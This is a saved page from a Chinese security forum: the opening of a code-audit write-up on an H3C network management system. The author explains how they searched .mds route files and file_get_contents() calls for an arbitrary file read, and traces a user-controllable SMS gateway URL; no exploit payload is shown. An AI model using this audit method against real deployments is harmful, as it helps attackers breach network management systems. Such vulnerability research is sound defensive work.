h1{position:relative;margin-top:1em;margin-bottom:16px;font-weight:bold}.markdown-body h1{padding-bottom:0em;font-size:28px;line-height:1.2}.markdown-body p,.markdown-body blockquote,.markdown-body pre{margin-top:0;margin-bottom:24px}.markdown-body blockquote{padding:0 15px;color:#777;border-left:4px solid #ddd}.markdown-body blockquote>:first-child{margin-top:0}.markdown-body blockquote>:last-child{margin-bottom:0}.markdown-body img{max-width:100%;-moz-box-sizing:border-box;box-sizing:border-box}.markdown-body code{padding:0;padding-top:.2em;padding-bottom:.2em;margin:0;font-size:85%;background-color:rgba(0,0,0,0.04);border-radius:3px}.markdown-body code:before,.markdown-body code:after{letter-spacing:-0.2em;content:" "}.markdown-body .highlight{margin-bottom:16px}.markdown-body .highlight pre{padding:16px;overflow:auto;font-size:85%;background-color:#f7f7f7;border-radius:3px}.markdown-body .highlight pre{margin-bottom:0;word-break:normal}.markdown-body pre{word-wrap:normal}/*! Pretty printing styles. Used with prettify.js. */@media screen{}.markdown-body .highlight pre{line-height:1.6}@media screen{}</style>
|
||||
<style>.highlight .x{color:#000}</style>
|
||||
<style>@-webkit-keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@keyframes a{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(359deg);transform:rotate(359deg)}}@media(max-width:800px){}</style>
|
||||
<!--[if lte IE 8]>
|
||||
<script src="http://code.jquery.com/jquery-1.11.3.min.js"></script>
|
||||
<![endif]-->
|
||||
<!--[if !IE]> -->
|
||||
<style>#waf_nc_block{position:fixed;width:100%;height:100%;top:0;bottom:0;left:0;z-index:99999}</style><style>@media(pointer:coarse){@media only screen and (max-device-width:1024px){}@media only screen and (max-device-width:414px){}@media only screen and (max-device-width:320px){}}</style><style>@media screen and (max-width:768px){}</style><style>/*!
|
||||
* Waves v0.7.5
|
||||
* http://fian.my.id/Waves
|
||||
*
|
||||
* Copyright 2014-2016 Alfiana E. Sibuea and other contributors
|
||||
* Released under the MIT license
|
||||
* https://github.com/fians/Waves/blob/master/LICENSE
|
||||
*/</style><style>@media(max-height:620px){}@media(max-height:783px){}@-webkit-keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@keyframes srFadeInUp{0%{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}to{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}}@-webkit-keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}@keyframes srFadeInDown{0%{opacity:1;-webkit-transform:translateY(0);transform:translateY(0)}to{opacity:0;-webkit-transform:translateY(100px);transform:translateY(100px)}}</style><style>@-webkit-keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@keyframes fadeOutUp{0%{opacity:1}to{margin-top:0;padding:0;height:0;min-height:0;opacity:0;-webkit-transform:scaleY(0);transform:scaleY(0)}}@media(pointer:coarse){}</style><style>:root{--sr-annote-color-0:#b4d9fb;--sr-annote-color-1:#ffeb3b;--sr-annote-color-2:#a2e9f2;--sr-annote-color-3:#a1e0ff;--sr-annote-color-4:#a8ea68;--sr-annote-color-5:#ffb7da}</style><style>@-webkit-keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes sr-annote-slideInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0);visibility:visible}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes sr-annote-slideInDown{0%{opacity:1;visibility:visible}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@-webkit-keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@keyframes scaleAnimation{0%{opacity:0;-webkit-transform:scale(1.5);transform:scale(1.5)}to{opacity:1;-webkit-transform:scale(1);transform:scale(1)}}@-webkit-keyframes fadeOut{0%{opacity:1}to{opacity:0}}@keyframes fadeOut{0%{opacity:1}to{opacity:0}}@-webkit-keyframes fadeIn{0%{opacity:0}to{opacity:1}}@keyframes fadeIn{0%{opacity:0}to{opacity:1}}@-webkit-keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}@keyframes swing{20%{-webkit-transform:rotate(15deg);transform:rotate(15deg)}40%{-webkit-transform:rotate(-10deg);transform:rotate(-10deg)}60%{-webkit-transform:rotate(5deg);transform:rotate(5deg)}80%{-webkit-transform:rotate(-5deg);transform:rotate(-5deg)}to{-webkit-transform:rotate(0deg);transform:rotate(0deg)}}</style><style>@-webkit-keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@keyframes fadeInUp{0%{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}to{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}}@-webkit-keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}@keyframes fadeOutDown{0%{opacity:1;-webkit-transform:translateZ(0);transform:translateZ(0)}to{opacity:0;-webkit-transform:translate3d(0,100%,0);transform:translate3d(0,100%,0)}}</style><style data-id=immersive-translate-input-injected-css>@-webkit-keyframes immersive-translate-loading-animation{from{-webkit-transform:rotate(0deg)}to{-webkit-transform:rotate(359deg)}}@keyframes immersive-translate-loading-animation{from{transform:rotate(0deg)}to{transform:rotate(359deg)}}@keyframes immersiveTranslateShadowRolling{0%{box-shadow:0Line truncated
|
||||
<body>
|
||||
<div class="navbar navbar-default">
|
||||
<div class=navbar-inner>
|
||||
<div class=container style=text-align:center;position:relative>
|
||||
<!--[if lte IE 8]>
|
||||
<span style="display:inline-block;margin:0 auto;color:red;">为了更好的体验,请使用IE10及以上版本</span>
|
||||
<![endif]-->
|
||||
<div class=brand-box>
|
||||
<a class=brand href=https://xz.aliyun.com/tab/1></a>
|
||||
</div>
|
||||
|
||||
<a href="https://account.aliyun.com/login/login.htm?oauth_callback=https%3A%2F%2Fxz.aliyun.com%2Ft%2F13627&from_type=xianzhi" class="pull-right anonymous-user hh_loding sf-hidden">
|
||||
登录</a>
|
||||
|
||||
<div class="nav-collapse collapse">
|
||||
<div class="search d1 text-right">
|
||||
<form action=/search>
|
||||
<input type=text placeholder=搜索 name=keyword value>
|
||||
</form>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div id=Wrapper class=container>
|
||||
|
||||
|
||||
<div class=row2>
|
||||
<div class=span10>
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<div class="row box content" width="1200px !important" style=width:1200px>
|
||||
|
||||
<div class=box-container>
|
||||
<div class=main-topic>
|
||||
<div class="clearfix user-info topic-list">
|
||||
<p><span class=content-title>某网络管理系统代码审计</span>
|
||||
</p>
|
||||
<div class=topic-info>
|
||||
<span class=info-left>
|
||||
<a href=https://xz.aliyun.com/u/76277>
|
||||
<span class="username cell"> Aiwin</span></a> <span class=i-seprator> / </span>
|
||||
<span> 2024-02-09 12:36:00</span><span class=i-seprator> / </span>
|
||||
|
||||
<span>发表于广东 / </span>
|
||||
|
||||
<span>浏览数 506</span>
|
||||
|
||||
|
||||
<span class=content-node>
|
||||
|
||||
<span class="label label-default label-node-first">
|
||||
<a href=https://xz.aliyun.com/tab/4>社区板块</a></span>
|
||||
<span class="label label-default">
|
||||
<a href=https://xz.aliyun.com/node/1>漏洞分析</a></span>
|
||||
|
||||
</span>
|
||||
</span>
|
||||
<span class="pull-right t-vote cell info-right"><a class="vote vote-up" href=javascript:void(0)>
|
||||
顶(0)</a>
|
||||
<a class="vote vote-down" href=javascript:void(0)>
|
||||
踩(0)</a></span>
|
||||
</div>
|
||||
</div>
|
||||
<hr>
|
||||
<div id=topic_content class="topic-content markdown-body">
|
||||
<h1 id=toc-0>H3c 网管系统代码审计</h1>
|
||||
<p>系统里面除了<code>.php</code>文件,还有很多的<code>.mds</code> 文件,路由的处理逻辑大部分都在<code>.mds</code>文件中,但是要注意的是<code>Phpstorm</code>这类开发者工具在外面进行全局搜索的时候,不会对<code>mds</code>中的文件进行匹配,导致了开始审计的时候压根就找不到漏洞。</p>
|
||||
<h1 id=toc-1>任意文件读取</h1>
|
||||
<p>一般<code>php</code> 类型的任意文件读取,都是通过<code>fopen()</code>以及<code>file_get_contents()</code>这些文件读取函数中的参数被用户恶意控制造成的,所以在看的时候直接全局搜这些可利用函数看上下文代码是否参数可被控制。</p>
|
||||
<p>直接搜<code>file_get_contents()</code>会发现有大量的这种函数,但是大量类似的函数参数都是直接或间接被写死的。</p>
|
||||
<p>直接静态变量的形式写死:</p>
|
||||
<p><a id=img0 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208180925-2317dccc-c66a-1.png><img src=data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABg8AAAPiCAYAAABIUU3IAAEAAElEQVR4nOzdeXgb1b0//vfIsi15ky1Llk0SZ/EWsrOUkMRhaWkJJCRlDbRASyltaHv7ayktpXB723uhhdDty+0tofTSFihLWqBACaFhJ04IlyV74yUkcRYvkmXJm+RYmvn9MVpG+0iWLDt+v54nD3i285kzM5J9zpzPERrPv1ACgLpZM9D6yWEQEREREREREREREdHkVTdrBjTZDoKIiIiIiIiIiIiIiMYXrdlYmu0YiIiIiIiIiIiIiIhoHNHmQ8x2DERERERERERERERENI4wbREREREREREREREREYVg5wEREREREREREREREYVg5wEREREREREREREREYVg5wEREREREREREREREYVg5wEREREREREREREREYXQZjsAIiIiIiIiIiIiomwq0OthKClCbm5utkM5JYmiBJfbjV6HA6IoZTucrDIbS2G1O7Idhipy54GQ5SiIiIiIiIiIiIiIsqC4qBCnVVZiZOQkBgaHIEqTq3G7QK+Hrcee0TJyc7WoMJlQVFiA9mMnIE2yOp6oOPKAiIiIiIiIiIiIJi1TuRHDw8NoP34CoihmO5wxN7uuBkMuV2YLcQH9/YOoq5mBosIC9A8MZrY8SgsNRx0QERERERERERHRZJWXmwu7wzEpOw7GkiiJGBgcQn5eXrZDIZU4YTIRERERERERERFNWoIgwOPxZjuMSWHEMwIIfJt9omDnARERERERERERERHRKUCjyUnbsTjnARERERERERERURyCIKDUUAKdTpf0vm63Gw5nHyeIJaKMy83NxXXXXodXX30VXd1doz4eOw+IiIiIiIiIiIjimDF9GooKCuAePpn0viZjGUpLDTh0uD0DkRHRaE2bOg1Tp01Nad9jR4/h6LGjaY4odY3LlsFsNuGqq67E3/727Kg7EHydB8wzRUREREREREREFE6ny0dJUREOHTuO4ZPJdx7k5+Vh5tQp0Ony4XYPZyBCIhqNclM5li5ZktK+r7veGDedB5WWSpxxxhkAAJ1Ol5YOBI1RYtcBERERERERERFRNHm5uQCQUseBcj//cYhofNm1aydaW1uT3q+1tRW7du1Mf0ApEAQBn/3sRRAUk1H7OxAsFZaUj6stBdCbwo6iVIGL1t2M5WYBB/5+L57Zm1wXhCjN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 truncated
|
||||
<p>看了很多函数,发现唯一好像有机会的地方是某个模拟<code>http</code>请求的函数:</p>
|
||||
<p><a id=img1 href=https://xzfile.aliyuncs.com/media/upload/picture/20240208180933-27d56612-c66a-1.png title><img src=data:image/png;base64,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 truncated
|
||||
<blockquote><p>通过<code>http_build_query()</code>创建一个<code>http</code>的查询,通过<code>stream_context_create()</code>来用于创建并返回一个新的上下文资源,以便在流操作函数中使用,一般参数都说以数组的形式定义请求头的各种参数等,随后进行<code>file_get_contents()</code>,<code>false</code>表示不会 在<code>include path</code>下寻找文件。</p>
|
||||
</blockquote>
|
||||
<p>往上寻找能够发现是一个短信功能调用了这个函数,它通过发送一个<code>http</code>的请求去第三方的短信接口来获取短信的内容并返回给用户,直接看<code>$gwUrl</code> 是否可控。</p>
|
||||
